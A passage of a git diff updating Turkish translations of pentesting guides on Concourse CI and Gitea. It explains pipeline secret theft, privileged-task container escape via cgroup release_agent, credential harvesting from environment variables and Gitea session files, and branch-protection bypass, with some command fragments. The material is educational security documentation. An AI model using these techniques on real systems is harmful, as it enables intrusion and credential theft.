çalmak** - **Düğüm**e **kaçmaya** çalışmak -- **Bulut meta verisi** uç noktasını (poddan ve mümkünse düğümden) saymak/istismar etmek +- **Cloud metadata** uç noktasını (pod'dan ve mümkünse düğümden) listelemek/suistimal etmek #### Pipeline Oluşturma/Düzenleme @@ -166,16 +166,16 @@ sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` -Yeni bir pipeline'ın **modifikasyonu/yaratılması** ile şunları yapabileceksiniz: +Yeni bir pipeline'ın **değiştirilmesi/yapılması** ile şunları yapabileceksiniz: - **Gizli bilgileri çalmak** (onları dışa vurarak veya konteynere girip `env` komutunu çalıştırarak) -- **Düğümden kaçmak** (size yeterli ayrıcalıklar vererek - `privileged: true`) -- **Bulut metadata** uç noktasını listelemek/suistimal etmek (pod'dan ve düğümden) +- **Node'a kaçmak** (size yeterli ayrıcalıklar vererek - `privileged: true`) +- **Cloud metadata** uç noktasını listelemek/suistimal etmek (pod'dan ve node'dan) - Oluşturulan pipeline'ı **silmek** #### Özel Görev Çalıştırma -Bu, önceki yönteme benzer ancak tamamen yeni bir pipeline'ı modifiye/yaratmak yerine **sadece özel bir görevi çalıştırabilirsiniz** (bu muhtemelen çok daha **gizli** olacaktır): +Bu, önceki yönteme benzer, ancak tamamen yeni bir pipeline'ı değiştirmek/yapmak yerine **sadece özel bir görevi çalıştırabilirsiniz** (bu muhtemelen çok daha **gizli** olacaktır): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux @@ -199,7 +199,7 @@ fly -t tutorial execute --privileged --config task_config.yml ``` #### Yetkili görevden düğüme kaçış -Önceki bölümlerde **concourse ile yetkili bir görevi nasıl çalıştıracağımızı** gördük. Bu, konteynıra bir docker konteynerindeki yetkili bayrağın sağladığı erişimi tam olarak vermez. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremezsiniz, bu nedenle kaçış daha "karmaşık" olabilir. +Önceki bölümlerde **concourse ile yetkili bir görevi nasıl çalıştıracağımızı** gördük. Bu, konteynıra bir docker konteynerindeki yetkili bayrağın sağladığı erişimi tam olarak vermeyecektir. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremezsiniz, bu nedenle kaçış daha "karmaşık" olabilir. Aşağıdaki PoC'de, bazı küçük değişikliklerle kaçış yapmak için release_agent'ı kullanacağız: ```bash @@ -260,7 +260,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> Fark etmiş olabileceğiniz gibi, bu sadece bir [**normal release_agent kaçışı**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) ve sadece noddaki cmd'nin yolunu değiştirmektedir. +> Fark etmiş olabileceğiniz gibi, bu sadece bir [**normal release_agent kaçışı**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) ve sadece noddaki cmd yolunu değiştirmektedir. #### Bir Worker konteynerinden node'a kaçış @@ -304,7 +304,7 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` -Bu kimlik bilgilerini **web sunucusuna giriş yapmak** ve **yetkili bir konteyner oluşturup düğümden kaçmak** için kullanabilirsiniz. +Bu kimlik bilgilerini **web sunucusuna giriş yapmak** ve **yetkili bir konteyner oluşturup düğüme kaçmak** için kullanabilirsiniz. Ortamda ayrıca concourse'un kullandığı **postgresql** örneğine erişim bilgilerini (adres, **kullanıcı adı**, **şifre** ve veritabanı gibi diğer bilgiler) bulabilirsiniz: ```bash @@ -330,12 +330,12 @@ select * from users; #### Garden Servisini Kötüye Kullanma - Gerçek Bir Saldırı Değil > [!WARNING] -> Bu, hizmet hakkında bazı ilginç notlardır, ancak yalnızca localhost'ta dinlediği için, bu notlar daha önce sömürdüğümüz herhangi bir etkiyi sunmayacaktır. +> Bu sadece hizmetle ilgili bazı ilginç notlar, ancak yalnızca localhost'ta dinlediği için, bu notlar daha önce zaten istismar ettiğimiz bir etki sunmayacak. -Varsayılan olarak, her concourse işçisi 7777 numaralı portta bir [**Garden**](https://github.com/cloudfoundry/garden) hizmeti çalıştıracaktır. Bu hizmet, işçiye **ne yapması gerektiğini** belirtmek için Web yöneticisi tarafından kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var: +Varsayılan olarak her concourse işçi, 7777 numaralı portta bir [**Garden**](https://github.com/cloudfoundry/garden) hizmeti çalıştıracaktır. Bu hizmet, Web yöneticisi tarafından işçiye **ne yapması gerektiğini** belirtmek için kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var: -- Sadece **yerel olarak** (127..0.0.1) **açık** ve bence işçi, özel SSH hizmeti ile Web'e kimlik doğruladığında, web sunucusunun her işçi içindeki her Garden hizmeti ile **konuşabilmesi için** bir tünel oluşturuluyor. -- Web sunucusu, **çalışan konteynerleri her birkaç saniyede bir izliyor** ve **beklenmeyen** konteynerler **siliniyor**. Bu nedenle, **özel bir konteyner çalıştırmak** istiyorsanız, web sunucusu ile garden hizmeti arasındaki **iletişimi** **değiştirmeniz** gerekiyor. +- Sadece **yerel olarak** (127..0.0.1) **açık** ve bence işçi, özel SSH hizmeti ile Web'e kimlik doğrulaması yaptığında, web sunucusunun her işçi içindeki **her Garden hizmetiyle** **iletişim kurabilmesi için** bir tünel oluşturuluyor. +- Web sunucusu, **her birkaç saniyede bir çalışan konteynerleri izliyor** ve **beklenmedik** konteynerler **siliniyor**. Bu nedenle, **özel bir konteyner çalıştırmak** istiyorsanız, web sunucusu ile garden hizmeti arasındaki **iletişimi** **manipüle** etmeniz gerekiyor. Concourse işçileri yüksek konteyner ayrıcalıklarıyla çalışır: ``` @@ -348,10 +348,10 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -Ancak, **mounting** tekniği gibi /dev cihazını veya release_agent **çalışmaz** (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir tane var). Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor. +Ancak, düğümün /dev cihazını veya release_agent'ı **monte etme** gibi teknikler **çalışmayacak** (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir cihaz var). Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor. > [!NOTE] -> Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle **current** **worker** tarafından oluşturulan bir **privileged container** içinde **komutlar** **çalıştırabiliyorsak**, **düğüme kaçabiliriz**. +> Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle eğer **mevcut** **işçi** tarafından oluşturulan bir **ayrıcalıklı konteynerde** komutları **çalıştırabiliyorsak**, **düğüme kaçabiliriz**. Concourse ile oynarken, bir şey çalıştırmak için yeni bir konteyner oluşturulduğunda, konteyner süreçlerinin işçi konteynerinden erişilebilir olduğunu fark ettim, bu nedenle bir konteynerin içinde yeni bir konteyner oluşturması gibi. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index b4e188d10..1c8d2b9f9 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -1,4 +1,4 @@ -# Concourse Laboratuvarı Oluşturma +# Concourse Lab Creation {{#include ../../banners/hacktricks-training.md}} @@ -15,9 +15,9 @@ docker-compose up -d ``` `fly` komut satırını işletim sisteminiz için `127.0.0.1:8080` adresinden indirebilirsiniz. -#### Kubernetes ile (Tavsiye Edilir) +#### Kubernetes ile (Tavsiye Edilen) -**Kubernetes** (örneğin **minikube** içinde) kullanarak concourse'u kolayca dağıtabilirsiniz: [**concourse-chart**](https://github.com/concourse/concourse-chart). +**Kubernetes**'te (örneğin **minikube**'da) helm-chart kullanarak concourse'u kolayca dağıtabilirsiniz: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -75,17 +75,17 @@ Bir pipeline, sıralı bir [Jobs](https://concourse-ci.org/jobs.html) listesi il Birçok farklı türde adım kullanılabilir: -- **the** [**`task` adımı**](https://concourse-ci.org/task-step.html) **bir** [**görev**](https://concourse-ci.org/tasks.html) **çalıştırır** -- [`get` adımı](https://concourse-ci.org/get-step.html) bir [kaynağı](https://concourse-ci.org/resources.html) alır -- [`put` adımı](https://concourse-ci.org/put-step.html) bir [kaynağı](https://concourse-ci.org/resources.html) günceller -- [`set_pipeline` adımı](https://concourse-ci.org/set-pipeline-step.html) bir [pipeline'ı](https://concourse-ci.org/pipelines.html) yapılandırır -- [`load_var` adımı](https://concourse-ci.org/load-var-step.html) bir değeri [yerel bir değişkene](https://concourse-ci.org/vars.html#local-vars) yükler +- **`task` adımı** [**`task`**](https://concourse-ci.org/tasks.html) **çalıştırır** +- [`get` adımı](https://concourse-ci.org/get-step.html) bir [resource](https://concourse-ci.org/resources.html) alır +- [`put` adımı](https://concourse-ci.org/put-step.html) bir [resource](https://concourse-ci.org/resources.html) günceller +- [`set_pipeline` adımı](https://concourse-ci.org/set-pipeline-step.html) bir [pipeline](https://concourse-ci.org/pipelines.html) yapılandırır +- [`load_var` adımı](https://concourse-ci.org/load-var-step.html) bir değeri [local var](https://concourse-ci.org/vars.html#local-vars) içine yükler - [`in_parallel` adımı](https://concourse-ci.org/in-parallel-step.html) adımları paralel olarak çalıştırır - [`do` adımı](https://concourse-ci.org/do-step.html) adımları sırayla çalıştırır - [`across` adım modifikasyonu](https://concourse-ci.org/across-step.html#schema.across) bir adımı birden fazla kez çalıştırır; her bir değişken değeri kombinasyonu için bir kez - [`try` adımı](https://concourse-ci.org/try-step.html) bir adımı çalıştırmayı dener ve adım başarısız olsa bile başarılı olur -Her [adım](https://concourse-ci.org/steps.html) bir [iş planında](https://concourse-ci.org/jobs.html#schema.job.plan) **kendi konteynerinde** çalışır. Konteynerin içinde istediğiniz her şeyi çalıştırabilirsiniz _(yani testlerimi çalıştır, bu bash betiğini çalıştır, bu görüntüyü oluştur, vb.)_. Dolayısıyla, beş adımı olan bir işiniz varsa, Concourse her adım için bir tane olmak üzere beş konteyner oluşturacaktır. +Her [step](https://concourse-ci.org/steps.html) bir [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) içinde **kendi konteynerinde** çalışır. Konteyner içinde istediğiniz her şeyi çalıştırabilirsiniz _(yani testlerimi çalıştır, bu bash scriptini çalıştır, bu resmi oluştur, vb.)_. Dolayısıyla, beş adımı olan bir işiniz varsa, Concourse her adım için bir tane olmak üzere beş konteyner oluşturacaktır. Bu nedenle, her adımın çalıştırılması gereken konteyner türünü belirtmek mümkündür. @@ -123,21 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` -Check **127.0.0.1:8080** to see the pipeline flow. +**127.0.0.1:8080** adresini kontrol edin, pipeline akışını görmek için. -### Bash script with output/input pipeline +### Çıktı/girdi pipeline'ı ile Bash scripti -Bir görevin **sonuçlarını bir dosyada kaydetmek** ve bunun bir çıktı olduğunu belirtmek mümkündür, ardından bir sonraki görevin girişi olarak önceki görevin çıktısını belirtmek mümkündür. Concourse'un yaptığı şey, **önceki görevin dizinini yeni görevde monte etmek ve önceki görev tarafından oluşturulan dosyalara erişmektir**. +**Bir görevin sonuçlarını bir dosyada kaydetmek** ve bunun bir çıktı olduğunu belirtmek, ardından bir sonraki görevin girdisini önceki görevin çıktısı olarak belirtmek mümkündür. Concourse'un yaptığı şey, **önceki görevin dizinini yeni görevde monte etmek ve önceki görev tarafından oluşturulan dosyalara erişmektir**. -### Triggers +### Tetikleyiciler -Görevleri her seferinde manuel olarak tetiklemek zorunda değilsiniz, her seferinde çalışacak şekilde programlayabilirsiniz: +Görevleri her seferinde manuel olarak tetiklemek zorunda değilsiniz, bunları her seferinde çalışacak şekilde programlayabilirsiniz: - Bir süre geçtikten sonra: [Time resource](https://github.com/concourse/time-resource/) - Ana dalda yeni commitler olduğunda: [Git resource](https://github.com/concourse/git-resource) - Yeni PR'ler: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) - Uygulamanızın en son görüntüsünü almak veya göndermek: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -Ana dalda yeni commitler tetikleyen bir YAML pipeline örneğini [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) adresinde kontrol edin. +Ana dalda yeni commitler tetikleyen bir YAML pipeline örneğini kontrol edin: [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index aa163bb26..80db16375 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -27,21 +27,21 @@ Ayrıca bunu kubernetes ile çalıştırabilirsiniz: helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` -## Kimlik Doğrulaması Olmadan Sıralama +## Kimlik Doğrulaması Olmadan Sayım - Kamu reposu: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) - Kayıtlı kullanıcılar: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) - Kayıtlı Organizasyonlar: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -**Varsayılan olarak Gitea yeni kullanıcıların kayıt olmasına izin verir.** Bu, yeni kullanıcılara diğer organizasyonlar/kullanıcılar reposu üzerinde özel bir erişim sağlamaz, ancak **giriş yapmış bir kullanıcı** daha fazla **repo veya organizasyonu görüntüleyebilir.** +**Varsayılan olarak Gitea yeni kullanıcıların kayıt olmasına izin verir.** Bu, yeni kullanıcılara diğer organizasyonlar/kullanıcılar reposu üzerinde özel bir erişim sağlamaz, ancak **giriş yapmış bir kullanıcı** **daha fazla repo veya organizasyonu görüntüleyebilir.** ## Dahili Sömürü -Bu senaryo için bir github hesabına erişim sağladığınızı varsayacağız. +Bu senaryoda bir github hesabına erişim sağladığınızı varsayacağız. ### Kullanıcı Kimlik Bilgileri/Web Çerezi ile -Eğer bir şekilde bir organizasyondaki bir kullanıcı için kimlik bilgilerine sahipseniz (veya bir oturum çerezini çaldıysanız) **sadece giriş yapabilir** ve hangi **izinlere sahip olduğunuzu**, hangi **repo'larda** bulunduğunuzu, **diğer kullanıcıları listeleyebilir** ve **repo'ların nasıl korunduğunu** kontrol edebilirsiniz. +Eğer bir şekilde bir organizasyon içindeki bir kullanıcı için kimlik bilgilerine (veya bir oturum çerezine) sahipseniz, **sadece giriş yapabilir** ve hangi **izinlere sahip olduğunuzu**, hangi **reposlarda** bulunduğunuzu, **diğer kullanıcıları listeleyebilir** ve **reposların nasıl korunduğunu** kontrol edebilirsiniz. **2FA kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz. @@ -52,15 +52,15 @@ Eğer bir şekilde bir organizasyondaki bir kullanıcı için kimlik bilgilerine Gitea, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına izin verir (2FA uygulanmaz). -Bu anahtar ile kullanıcının bazı ayrıcalıklara sahip olduğu **repo'larda değişiklikler yapabilirsiniz**, ancak gitea api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan repo ve kullanıcı hakkında bilgi almak için **yerel ayarları sıralayabilirsiniz:** +Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **reposlarda değişiklikler yapabilirsiniz**, ancak bunu gitea api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan reposlar ve kullanıcı hakkında bilgi almak için **yerel ayarları sayabilirsiniz:** ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -Eğer kullanıcı adını gitea kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz. +Eğer kullanıcı adını gitea kullanıcı adı olarak yapılandırdıysa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz. -**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilecektir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir. +**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir. #### GPG Anahtarları @@ -74,38 +74,38 @@ gpg --list-secret-keys --keyid-format=long [**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-gitea-information.md#personal-access-tokens) için bir giriş. -Bir kullanıcı tokeni, Gitea sunucusuna **şifre yerine** **kimlik doğrulamak** için kullanılabilir [**API aracılığıyla**](https://try.gitea.io/api/swagger#/). Kullanıcının üzerinde **tam erişim** olacaktır. +Bir kullanıcı tokeni, Gitea sunucusuna **şifre yerine** **kimlik doğrulamak** için kullanılabilir [**API aracılığıyla**](https://try.gitea.io/api/swagger#/). Kullanıcı üzerinde **tam erişim** sağlar. ### Oauth Uygulaması ile [**Gitea Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](./#with-oauth-application) için bir giriş. -Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/işlemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir. +Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir. Temel bilgilerde açıklandığı gibi, uygulama **kullanıcı hesabı üzerinde tam erişime** sahip olacaktır. ### Dal Koruma Atlatma -Github'da, varsayılan olarak repo üzerinde **yazma erişimi olan bir token** alan **github actions** bulunmaktadır; bu, **dal korumalarını atlatmak** için kullanılabilir. Bu durumda **mevcut değildir**, bu nedenle atlatmalar daha sınırlıdır. Ancak neler yapılabileceğine bir göz atalım: +Github'da, varsayılan olarak repo üzerinde **yazma erişimi** olan bir **token** alan **github actions** bulunmaktadır. Bu, **dal korumalarını atlatmak** için kullanılabilir. Bu durumda **böyle bir şey yok**, bu nedenle atlatmalar daha sınırlıdır. Ancak neler yapılabileceğine bir bakalım: - **Push'u Etkinleştir**: Yazma erişimi olan herhangi biri dalına push yapabiliyorsa, sadece push yapın. -- **Kısıtlı Push'u Beyaz Listeye Al**: Aynı şekilde, bu listenin bir parçasıysanız dalına push yapın. -- **Birleştirme Beyaz Listesini Etkinleştir**: Eğer birleştirme beyaz listesi varsa, içinde olmanız gerekir. +- **Kısıtlı Push'u Beyaz Listeye Al**: Aynı şekilde, bu listeye dahil iseniz dalına push yapın. +- **Birleştirme Beyaz Listesini Etkinleştir**: Eğer birleştirme beyaz listesi varsa, onun içinde olmanız gerekir. - **Onay gereksinimi 0'dan büyük**: O zaman... başka bir kullanıcıyı tehlikeye atmanız gerekir. -- **Onayları beyaz listeye kısıtla**: Eğer yalnızca beyaz listedeki kullanıcılar onaylayabiliyorsa... o liste içinde olan başka bir kullanıcıyı tehlikeye atmanız gerekir. +- **Onayları beyaz listeye kısıtla**: Eğer yalnızca beyaz listedeki kullanıcılar onay verebiliyorsa... o liste içinde olan başka bir kullanıcıyı tehlikeye atmanız gerekir. - **Eski onayları geçersiz kıl**: Eğer onaylar yeni commitlerle kaldırılmıyorsa, onaylanmış bir PR'yi ele geçirip kodunuzu ekleyebilir ve PR'yi birleştirebilirsiniz. **Eğer bir org/repo yöneticisiyseniz** korumaları atlatabileceğinizi unutmayın. -### Webhook'ları Listele +### Webhook'ları Sayma -**Webhook'lar**, **belirli gitea bilgilerini bazı yerlere gönderebilir**. Bu iletişimi **istismar etme** imkanınız olabilir.\ +**Webhook'lar**, belirli gitea bilgilerini bazı yerlere **gönderebilir**. Bu iletişimi **istismar edebilirsiniz**.\ Ancak genellikle, **webhook** içinde **geri alınamaz** bir **gizli anahtar** ayarlanır; bu, URL'sini bilen ancak gizli anahtarı bilmeyen dış kullanıcıların **o webhook'u istismar etmesini** **önler**.\ -Ancak bazı durumlarda, insanlar **gizli anahtarı** yerinde ayarlamak yerine, **URL'ye** bir parametre olarak ayarlar; bu nedenle **URL'leri kontrol etmek**, **gizli anahtarları bulmanıza** ve daha fazla istismar edebileceğiniz diğer yerleri keşfetmenize olanak tanıyabilir. +Ancak bazı durumlarda, insanlar **gizli anahtarı** yerine **URL'ye** bir parametre olarak ayarlayabilir, bu nedenle **URL'leri kontrol etmek** size **gizli anahtarları** ve daha fazla istismar edebileceğiniz diğer yerleri bulma imkanı verebilir. Webhook'lar **repo ve org seviyesinde** ayarlanabilir. -## İstismar Sonrası +## Sonrası İstismar ### Sunucu İçinde @@ -115,9 +115,9 @@ Bu dosyada **anahtarlar** ve **şifreler** bulabilirsiniz. Gitea yolunda (varsayılan: /data/gitea) ayrıca ilginç bilgiler bulabilirsiniz: -- **sqlite** DB: Gitea harici bir db kullanmıyorsa, bir sqlite db kullanacaktır. +- **sqlite** DB: Gitea harici bir veritabanı kullanmıyorsa, bir sqlite veritabanı kullanacaktır. - **oturumlar** oturumlar klasörü içinde: `cat sessions/*/*/*` komutunu çalıştırarak oturum açmış kullanıcıların kullanıcı adlarını görebilirsiniz (gitea ayrıca oturumları DB içinde de saklayabilir). -- **jwt özel anahtarı** jwt klasörü içinde. +- **jwt özel anahtarı** jwt klasörü içinde - Bu klasörde daha fazla **hassas bilgi** bulunabilir. Eğer sunucu içindeyseniz, bilgileri erişmek/değiştirmek için **`gitea` ikili dosyasını** de kullanabilirsiniz: diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6b87626c..8a06b760d 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,20 +1,20 @@ -# Basic Gitea Information +# Temel Gitea Bilgisi {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Temel Yapı -Temel Gitea ortam yapısı, **organizasyon(lar)** tarafından reposları gruplandırmaktır; her biri **birkaç depo** ve **birkaç takım** içerebilir. Ancak, github'da olduğu gibi kullanıcıların organizasyon dışında depoları olabileceğini unutmayın. +Temel Gitea ortam yapısı, **organizasyon(lar)** tarafından repo gruplandırması yapmaktır; her biri **birkaç depo** ve **birkaç takım** içerebilir. Ancak, github'da olduğu gibi kullanıcıların organizasyon dışında depoları olabileceğini unutmayın. Ayrıca, bir **kullanıcı** **farklı organizasyonların** **üyesi** olabilir. Organizasyon içinde kullanıcı, her depo üzerinde **farklı izinlere** sahip olabilir. -Bir kullanıcı ayrıca **farklı takımların** bir parçası olabilir ve farklı depolar üzerinde farklı izinlere sahip olabilir. +Bir kullanıcı ayrıca **farklı takımların** **bir parçası** olabilir ve farklı depolar üzerinde farklı izinlere sahip olabilir. Ve nihayetinde **depolar özel koruma mekanizmalarına** sahip olabilir. -## Permissions +## İzinler -### Organizations +### Organizasyonlar Bir **organizasyon oluşturulduğunda**, **Sahipler** adında bir takım **oluşturulur** ve kullanıcı bu takımın içine yerleştirilir. Bu takım, **organizasyon** üzerinde **yönetici erişimi** verecektir; bu **izinler** ve takımın **adı** **değiştirilemez**. @@ -36,65 +36,65 @@ Yeni bir takım oluştururken, birkaç önemli ayar seçilir: ![](<../../images/image (118).png>) -### Teams & Users +### Takımlar & Kullanıcılar -Bir depoda, **org yöneticisi** ve **repo yöneticileri** (organizasyon tarafından izin verilirse) işbirlikçilere (diğer kullanıcılara) ve takımlara verilen **rolleri** **yönetebilir**. **3** olası **rol** vardır: +Bir depoda, **org yöneticisi** ve **repo yöneticileri** (org tarafından izin verilirse) işbirlikçilere (diğer kullanıcılara) ve takımlara verilen **rolleri** **yönetebilir**. **3** olası **rol** vardır: - Yönetici - Yazma - Okuma -## Gitea Authentication +## Gitea Kimlik Doğrulaması -### Web Access +### Web Erişimi -**Kullanıcı adı + şifre** kullanarak ve potansiyel olarak (ve önerilen) bir 2FA ile. +**kullanıcı adı + şifre** kullanarak ve potansiyel olarak (ve önerilen) bir 2FA ile. -### **SSH Keys** +### **SSH Anahtarları** Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına** izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz. [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **GPG Anahtarları** Bu anahtarlarla kullanıcıyı taklit edemezsiniz, ancak kullanmazsanız, **imzasız gönderim yaparken keşfedilme olasılığınız** olabilir. -### **Personal Access Tokens** +### **Kişisel Erişim Jetonları** -Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim token'ı oluşturabilirsiniz. Kişisel erişim token'ı, hesabınıza tam erişim sağlar: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim jetonu oluşturabilirsiniz. Kişisel erişim jetonu, hesabınıza tam erişim sağlar: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Oauth Uygulamaları -Kişisel erişim token'ları gibi **Oauth uygulamaları** da hesabınıza ve hesabınızın erişim sağladığı yerlere **tam erişim** sağlayacaktır; çünkü [belgelere](https://docs.gitea.io/en-us/oauth2-provider/#scopes) göre, kapsamlar henüz desteklenmiyor: +Kişisel erişim jetonları gibi **Oauth uygulamaları** da hesabınıza ve hesabınızın erişim sağladığı yerlere **tam erişim** sağlayacaktır; çünkü [belgelere](https://docs.gitea.io/en-us/oauth2-provider/#scopes) göre, kapsamlar henüz desteklenmiyor: ![](<../../images/image (194).png>) -### Deploy keys +### Dağıtım Anahtarları -Deploy anahtarları, depoya yalnızca okuma veya yazma erişimine sahip olabilir, bu nedenle belirli depoları tehlikeye atmak için ilginç olabilir. +Dağıtım anahtarları, depoya yalnızca okuma veya yazma erişimine sahip olabilir, bu nedenle belirli depoları tehlikeye atmak için ilginç olabilir. -## Branch Protections +## Dal Koruma Dal korumaları, kullanıcılara bir depo üzerinde **tam kontrol vermemek** için tasarlanmıştır. Amaç, bazı dallara kod yazabilmek için **birkaç koruma yöntemi koymaktır**. Bir deponun **dal korumaları** _https://localhost:3000/\/\/settings/branches_ adresinde bulunabilir. > [!NOTE] -> **Organizasyon düzeyinde bir dal koruması ayarlamak mümkün değildir.** Bu nedenle, hepsi her depoda belirtilmelidir. +> **Bir dal korumasını organizasyon düzeyinde ayarlamak mümkün değildir.** Bu nedenle, hepsi her depoda belirtilmelidir. Bir dala (örneğin master'a) farklı korumalar uygulanabilir: - **Push'i Devre Dışı Bırak**: Hiç kimse bu dala push yapamaz. - **Push'i Etkinleştir**: Erişimi olan herkes push yapabilir, ancak zorla push yapamaz. - **Beyaz Liste Kısıtlı Push**: Sadece seçilen kullanıcılar/takımlar bu dala push yapabilir (ancak zorla push yok). -- **Birleştirme Beyaz Listesini Etkinleştir**: Sadece beyaz listeye alınmış kullanıcılar/takımlar PR'leri birleştirebilir. -- **Durum kontrollerini etkinleştir:** Birleştirmeden önce durum kontrollerinin geçmesini gerektirir. -- **Onayları gerektir**: Bir PR'nin birleştirilmeden önce gereken onay sayısını belirtir. +- **Beyaz Liste Birleştirmeyi Etkinleştir**: Sadece beyaz listeye alınmış kullanıcılar/takımlar PR'leri birleştirebilir. +- **Durum Kontrollerini Etkinleştir:** Birleştirmeden önce durum kontrollerinin geçmesini gerektirir. +- **Onayları Gerektir**: Bir PR'nin birleştirilmeden önce gereken onay sayısını belirtir. - **Onayları beyaz listeye kısıtla**: PR'leri onaylayabilecek kullanıcıları/takımları belirtir. - **Reddedilen incelemelerde birleştirmeyi engelle**: Değişiklik talep edilirse, birleştirilemez (diğer kontroller geçse bile). - **Resmi inceleme taleplerinde birleştirmeyi engelle**: Resmi inceleme talepleri varsa, birleştirilemez. - **Eski onayları geçersiz kıl**: Yeni commitler olduğunda, eski onaylar geçersiz kılınır. - **İmzalı Commitleri Gerektir**: Commitler imzalanmalıdır. -- **Pull request güncel değilse birleştirmeyi engelle** +- **Pull request güncel değilse birleştirmeyi engelle**. - **Korunan/Korunmayan dosya desenleri**: Değişikliklere karşı korumak/kaldırmak için dosya desenlerini belirtir. > [!NOTE] diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 5189b89d4..44755dae4 100644 --- 